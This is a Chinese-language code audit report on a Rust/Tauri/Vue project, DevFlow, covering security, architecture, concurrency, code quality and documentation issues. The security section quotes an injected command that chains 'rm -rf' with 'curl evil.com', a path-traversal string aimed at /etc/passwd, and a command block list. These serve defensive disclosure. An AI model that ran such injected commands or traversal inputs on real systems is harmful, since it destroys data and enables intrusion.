安全: - ScriptNode 默认黑名单兜底(rm/del/format/shutdown/mkfs/dd) - bind_directory 分段 .. 检测替代 contains 子串(对齐 tool_registry) - ai_providers 白名单移除 api_key(防 update_field 旁路写明文) DRY: - useAiEvents 抽 cleanupTerminatedConversation 统一三分支收尾 - 新增 useStoreAction 工具,4 个 store 替换 38 处 try/catch 样板 文档: - df-core → df-types 批量替换(ARCHITECTURE/PROGRESS/SQLite-CRUD) - INDEX 补齐 9 漏列文档(单对话并行多轮/跑题试验/工程系统设计等) - Agent架构说明 死链修复(../构想审查/) - AI对话引擎工具清单改为数量+按风险分组(不再用固定数字) - ARCH 状态标签 设计阶段 → Phase 2 验证 测试: - df-relay 新增 registry_test: ConnRegistry 路由 + RelayState + 16 项单测
16 KiB
全量走查报告(2026-06-28)
范围:全栈 Rust 12 crate + Tauri 命令层 + Vue 3 前端 + 文档体系 方法:4 角度并行(安全/并发可靠性/架构设计/代码质量),每条结论基于实际代码核实 原则:dry — 仅审查 + 文档,不改代码。误判项明确标注证据
🔴 安全
① ScriptNode — 白名单仅校验首词,shell 元字符可绕过
文件: crates/df-nodes/src/script_node.rs:46-54
let cmd_name = command.split_whitespace().next().unwrap_or("").to_lowercase();
check_command_policy 只比对首词,剩余参数原样传入 sh -c / powershell -Command。攻击场景:工作流 JSON 写 "command": "git log; rm -rf /tmp/x; curl evil.com",首词 git 命中白名单即放行,; && $() 全部被 shell 解释执行。默认 DF_SCRIPT_WHITELIST 未设置时完全无防护,仅靠 dangerous_keywords 告警(不阻止)。
建议:① 默认启用黑名单(至少挡 rm/del/format/shutdown);② 对工作流 JSON 来源做信任链校验。
② MCP server 完全无鉴权
文件: crates/df-mcp/src/server.rs:37-44 + crates/df-mcp/src/lib.rs:11
注释明示「无认证(依赖本地隔离)」,但 Windows 上同用户权限的进程(Office 宏、浏览器 RCE 沙箱逃逸后)均可向 stdin 发 tools/call create_project / bind_directory 等工具调用。bind_directory(Medium) 可绑定任意路径让后续工具误以为已授权。
建议:启动生成 ephemeral token 写入应用 KV,Tauri CLI 子命令传 token,每条 tools/call 校验。
③ bind_directory 路径检测不一致
文件: crates/df-mcp/src/tools.rs:328
MCP 端 bind_directory 仅做 path.contains("..") 子串检测,会误伤 my..file,且对 /etc/.ssh/../../etc/passwd 这类绕过场景不可靠。而 src-tauri/.../tool_registry.rs:114-145 的 validate_path 已实现分段 .. 检测——两端不一致。
建议:MCP 端复用 validate_path 的分段检测逻辑。
🔴 架构
④ AI 核心状态机焊死在 src-tauri,df-ai 名不副实
证据:
src-tauri/src/commands/ai/mod.rs定义AiSession、PerConvState、AiChatEvent、SessionState等src-tauri/src/commands/ai/agentic/mod.rs实现run_agentic_loopdf-aicrate 仅保留 Provider HTTP 实现 +coordinator.rs(空壳) +intent/planner(未接入)
ARCHITECTURE.md §5.4 把 AgentCoordinator/ContextManager 描述为 df-ai 职责,实际 agentic loop 跑在 Tauri binary。df-ai 无法被复用(做 CLI/测试),AI 状态机没有独立 crate 级单测。
建议:把 AiSession/agentic loop 抽到 df-ai 或新建 df-ai-session crate。
⑤ df-project / df-ideas 伪分层
文件: crates/df-project/src/manager.rs(全文 ~80 行,仅 2 个工厂函数)
ProjectManager::create / create_from_idea 只构造实体不落库。实际项目 CRUD/状态推进/软删全在 df-storage/src/crud/project_repo.rs,commands/project.rs 直接调 ProjectRepo 完全绕过 ProjectManager。领域层"不依赖 storage 保持分层"形同虚设。
建议:要么删除 df-project,要么真正把领域规则下沉进去。
⑥ TaskStatus 两套并存
证据:
crates/df-types/src/types.rs:170定义enum TaskStatus含as_str/from_db_str/is_validcrates/df-nodes/src/task_state_machine.rs:33-56又定义 7 个字符串常量 +is_valid_state
注释自称"严格对齐"但靠人工维护,任何一方改字符串编译器不报错。df-types 的 enum 形同摆设。
建议:让 task_state_machine 基于 TaskStatus enum 实现,字符串边界只留 IPC/DB 序列化层。
⑦ IPC 错误拍平为 String,结构化信息全失
文件: src-tauri/src/commands/mod.rs:26 pub fn err_str<E: ToString>(e: E) -> String
df-types/error.rs 精心设计了 11 个变体(NotFound/Validation/InvalidState { current, expected } 等带结构化字段),但跨 IPC 边界时 .to_string() 一律拍平。前端只能拿到字符串,无法分辨 NotFound vs Validation vs InvalidState,无法做差异化处理(如 NotFound→跳转列表 vs InvalidState→提示冲突)。
建议:IPC 错误用 serde 序列化的 enum({ kind, message, ...fields }),前端按 kind 分支。
⑧ 配置四源并存,relay token 两端契约不一致
证据:
- 环境变量:
DF_RELAY_TOKEN(relay 端缺失 panic)/DF_SCRIPT_BLACKLIST/DF_SCRIPT_WHITELIST - DB KV:
app_settings表 - AppState 内存:AtomicU64/Usize
- 硬编码常量:
src-tauri/lib.rs:186token = "devflow-relay-default-token"(与 relay 端强制 env 不一致)
桌面端硬编码默认 token,relay 端 panic 强制 env——忘设 env 时桌面端用默认 token 连不上。
建议:建立分层 Config 单例(env > app_settings > 默认常量),跨 crate 共享。
⑨ 文档与代码严重失步
证据:
- ARCHITECTURE.md §4 写
df-core/—— 实际是df-types - PROGRESS.md §二/§三 同样写 df-core
- docs/01-技术文档/SQLite-CRUD模式.md:79 引用
crates/df-core/src/error.rs - PROGRESS.md Sprint 15/17 把 knowledge 模块归属
df-evolve(已移除) - ARCHITECTURE.md §4 crate 树漏列
df-types/df-mcp/df-ai-core/df-relay/df-tunnel,crate 数量描述"9 crate"vs 实际 12
建议:批量替换 df-core → df-types,更新 crate 树与规模表。
🔴 代码质量
⑩ useAiEvents — 终止收尾逻辑三处复制粘贴
文件: src/composables/ai/useAiEvents.ts:569-737
AiCompleted / AiError / AiHelpRequired 三个 case 重复执行同一套「会话终止收尾」逻辑(clearStreamWatchdog / clearAllToolSlowTimers / flushCurrentText / setStreaming(false) / state.currentText='' / state.agentRound=0 / 清 pendingMaxRounds / 清 pendingDirAuths / 4×localStorage.removeItem),共 ~10 步骤在三个分支逐行复制。
建议:抽 cleanupTerminatedConversation(convId, reason) 公共函数。
⑪ Store 错误处理样板重复 38 处
证据:src/stores/knowledge.ts 单文件 10 次,加上 ideas.ts/projects.ts/tasks.ts 各 4-7 次:
try { state.xxx = await api.xxx(...) }
catch (e: any) { state.error = e?.toString() ?? t('xxx.err.xxxFailed') }
建议:抽 runWithCatch(state, i18nKey, fn) 工具。
⑫ idea_repo.rs — 注释承诺的测试不存在
文件: crates/df-storage/src/crud/idea_repo.rs:24-25, 43-44
注释明示「任一处加列漏改会被测试 test_knowledge_cols_matches_record 立即捕获」,但全 workspace grep 零匹配。KNOWLEDGE_COL_COUNT 带 #[cfg_attr(not(test), allow(dead_code))] 说明设计意图是给测试用,但测试从未写。属真实「文档撒谎」。
建议:补 #[test] fn test_idea_cols_matches_record() 或改注释。
⑬ df-relay 完全无测试
df-ai 332 测试、df-storage 133 测试、df-nodes 86 测试,但 df-relay 0 测试(无 tests/ 也无 #[cfg(test)])。relay.rs 442 行连接生命周期 + token 配对 + 广播分发逻辑零回归保护。
建议:至少补 ConnRegistry / token 配对 / ControlMessage 路由的单测。
🟡 并发与可靠性
⑭ SQLite 单连接 Mutex 串行化
文件: crates/df-storage/src/db.rs:13-16
pub struct Database { conn: Arc<Mutex<Connection>>, }
所有 Repo 共享同一连接。注释自承 TODO: 考虑使用 r2d2 连接池。功能性正确,但 AI 对话高峰(多 tool_calls 并发 + SSE 落库)下 DB 操作排队,体验性下降。
⑮ EventBus broadcast 容量与 Lagged 处理
文件: crates/df-workflow/src/eventbus.rs:16 + crates/df-nodes/src/human_node.rs:134-141
容量 256 + WorkflowEvent 混入 AI 流式增量 → 高频场景订阅者 Lagged → human_node.rs:134 的 continue 策略可能漏自身 Response → HumanNode 等到超时。
建议:流式增量与审批响应分总线,或 Lagged 显式重发。
⑯ run_migrations 持有 tokio Mutex 守卫
文件: crates/df-storage/src/db.rs:48-53
V21 大表迁移期间所有其他 DB 操作 await 在锁上。一次性启动开销,但属不必要串行点。
⑰ task_link_repo.rs 注释误导
文件: crates/df-storage/src/crud/task_link_repo.rs:116-138
注释「检测与插入非原子」不准确——实际 BFS 与 INSERT 在同一 blocking_lock 守卫内,锁串行化了 TOCTOU 窗口,已闭合。注释应更新。
⑱ relay 默认监听 0.0.0.0
文件: crates/df-relay/src/main.rs:17
token 鉴权在,但默认监听所有网卡,云服务器部署若防火墙未配公网可访问 WS 端点暴力猜 token。
建议:默认改 127.0.0.1,外部访问显式 DF_RELAY_ADDR=0.0.0.0。
🟡 代码简洁性
⑲ 大文件未拆分
src/components/ai/MessageList.vue1552 行(style 441 + script ~1100)src/views/IdeaDetail.vue926 行(style 481 + script ~300,四域逻辑)crates/df-storage/src/crud/idea_repo.rs1500 行(IdeaRepo + KnowledgeRepo + KnowledgeEventsRepo + 向量工具)crates/df-nodes/src/human_node.rs831 行
建议:MessageList 抽 MessageBubble.vue;IdeaDetail 拆 IdeaScorePanel/IdeaAdversarialPanel;idea_repo.rs 拆三文件。
⑰ 组件内 toast 状态重复
文件: src/views/Settings.vue:103-112 + src/components/AiChat.vue:183-191
两个根组件各自维护 toast reactive + showToast,逻辑完全一致。
建议:抽 composables/useToast.ts。
㉑ TS any 滥用集中在 catch 和跨层透传
48 处 : any/as any:
- 类型 A(38/48):
catch (e: any)→ 改unknown+ 类型守卫 - 类型 B:跨层
as any透传未声明字段(useAiEvents.ts:687、useAiConversations.ts 多处、MessageList.vue:498)
建议:补完 api/types.ts 真实字段(AiMessage.errorType、Message.status);defineExpose 建 interface。
㉒ AgentCoordinator deprecated 空壳
文件: crates/df-ai/src/coordinator.rs
已标 #[deprecated],全 workspace 零调用,但仍 pub mod coordinator 暴露导出。
建议:#[cfg(feature = "multi-agent")] 隔离或删除(git 历史可找回)。
㉓ planner.rs 11 处 #[allow(dead_code)]
builder API(SubTask::new/with_tools/with_deps/with_group 等)当前零调用,全是预留。建议加 reason 集中说明或 feature flag 隔离。
㉔ app_settings KV 无 schema
SettingsRepo::set(key, value) 无 key 白名单(除 allowed_dirs),新增配置需前端+IPC+KV 三处硬编码对齐。建议加 SettingKey enum 集中定义。
㉕ 视图 CSS 重复 + tags 解析重复
- Dashboard/Projects/Ideas/Knowledge 四视图各自定义
.btn/.btn-primaryscoped 样式(项目已有全局styles/components.css) - Ideas.vue:302 + Knowledge.vue:321 相同 tags 拆分逻辑
建议:CSS 收敛到全局;tags 解析抽 parseTagsInput。
🟡 文档
㉖ AI对话引擎文档工具清单过时
文件: docs/03-模块文档/AI对话引擎-2026-06-14.md §四
标题自称 12 个,表格 13 行,与 df-ai-AI集成模块.md 的 22 个严重对不齐。缺失 run_command/patch_file/list_trash/file_info/search_files/delete_task/restore_project/purge_project。
㉗ INDEX.md 漏索引 9 个文档
| 子目录 | 漏列数 | 典型遗漏 |
|---|---|---|
| 专项设计 | 7 | AI原生上下文地图、AST符号解析、插件机制、查询能力补全方案、项目知识图谱 |
| 已编号方案 | 2 | F-260622-01-跨端AIChat-Phase3联调、消息级溯源P2-切读方案 |
| 构想审查 | 1 | 跑题改进试验记录 |
| 根目录 | 2 | 单对话并行多轮-Phase0落地路线图、单对话并行多轮-设计 |
㉘ 死链
文件: docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md:4
[任务推进设计](任务推进构想-2026-06-14.md) 解析到专项设计目录下不存在,应改为 ../构想审查/。
㉙ ARCHITECTURE.md §七 + 新设计文档 SSOT 违反
YAML 模板(52行)、AgentPersona struct(11行)、三层定义表、实例化流程大段逐字重复。建议 ARCH 仅保留概要 + 引用链接。
㉚ ARCHITECTURE.md ~100 行已移除模块残留
§5.4 保留 df-task/df-traceability 的 Task 生命周期图、分支策略、标注系统、Decision struct 详细设计。建议移至归档。
㉛ ARCHITECTURE.md 状态过时
L3 状态: 设计阶段 与实际 Phase 2 验证阶段不符,应与 docs/INDEX.md 一致改为 Phase 2 本地优先开发流程验证。
✅ 亮点
① df-ai/df-ai-core trait 下沉(F-01)
df-ai-core 零 HTTP 依赖(仅 5 个依赖),df-ai 保留 reqwest/eventsource-stream。df-ideas 等轻消费方只引 df-ai-core。真实落地的解耦。
② df-mcp advance_task 复用 df-nodes 状态机
MCP 与 IPC 都走 df_nodes::task_advance_node::advance_task_atomic,推进链三层校验(is_valid_state/can_transition/CAS/regression bump)唯一实现。Cargo.toml 注释明确「避免 MCP 直调底层绕过状态机」。
③ keyring 密钥下沉 + 迁移补偿
secret.rs 三阶段回落(DB明文→OS keyring→空),migrate_secrets_to_keyring 启动一次性迁移,失败计数达阈值升级 warn。AiProviderRecord 自定义 Debug 把 api_key 脱敏为 "sk-****"。
④ SanitizedPath newtype 强类型
df-types/src/augmentation.rs:29 pub struct SanitizedPath(String) 强制所有注入 LLM 的路径经 sanitize 入口,防裸 String 误用。
⑤ 取消路径 TOCTOU 三层防护
state.rs:106 set_cancelled 作为唯一受控旁路 + executor.rs:180-226 双重检查 + HumanNode select! 轮询。注释详细记录时序窗口。
⑥ SQLite WAL + spawn_blocking 正确
所有 DB 操作在 spawn_blocking + blocking_lock 中,无 sync rusqlite 在 async 裸调用;批量用事务原子提交;WAL 模式读写不互斥。
⑦ 重试机制工业级
retry.rs ±50% jitter(rand::thread_rng)+ 错误分类(Ok/Retryable/Fatal)+ 总预算止损 30s + 流式不重试。complete() 两处接入,单测齐全。
⑧ kill_on_drop + Windows CREATE_NO_WINDOW
shell.rs:147,154 — 超时 future drop → Command 析构 → kill 子进程;Windows 黑窗抑制。
⑨ TaskStatus is_valid 单测覆盖
df-types/types.rs:437-477 测试了拼写错误/大小写/空白/SQL 注入/中文近义等边界,valid_values_all_pass_is_valid 锁定清单一致性。
⑩ SSRF 防护完整
http.rs:50-208 私网 IP 黑名单 + DNS rebinding 防护(多 A 记录全检)+ 重定向 ≤3 跳每跳重新校验 + body 截断 50KB。
⑪ V21 大版本迁移谨慎
BATCH_SIZE=50 分页 + 空库跳过 + 坏数据 skip 不崩溃 + column_exists 守卫 ALTER TABLE。
⑫ 前端 composable 已大范围抽离
src/composables/ai/ 已拆 14 文件,AiChat.vue 从巨型组件瘦身到 767 行聚合容器。Settings.vue 已 master-detail 重构(8 个子 Section/Panel,309 行壳)。
📊 汇总
| 分类 | 🔴 | 🟡 | ✅ |
|---|---|---|---|
| 安全 | 3 | — | — |
| 架构 | 6 | — | — |
| 代码质量 | 4 | — | — |
| 并发可靠性 | — | 5 | — |
| 代码简洁性 | — | 7 | — |
| 文档 | — | 6 | — |
| 亮点 | — | — | 12 |
| 合计 | 13 | 18 | 12 |
总体评价:核心安全架构扎实(SQL 注入防护、keyring 密钥、SSRF 防护、取消 TOCTOU、重试工业级),前端架构演进健康(composable 大范围抽离、Settings 已 master-detail 重构)。
主要问题集中在:
- 架构债:AI 核心状态机焊死 src-tauri(#4)、df-project 伪分层(#5)、文档严重失步(#9)
- 代码质量:useAiEvents 三处复制粘贴(#10)、Store 错误处理 38 处重复(#11)
- 安全细节:ScriptNode 元字符绕过(#1)、MCP 无鉴权(#2)
优先修复建议:① 修文档(#9 成本极低);② 补 df-relay 测试(#13);③ ScriptNode 默认黑名单(#1);④ 抽 useAiEvents 公共函数(#10)。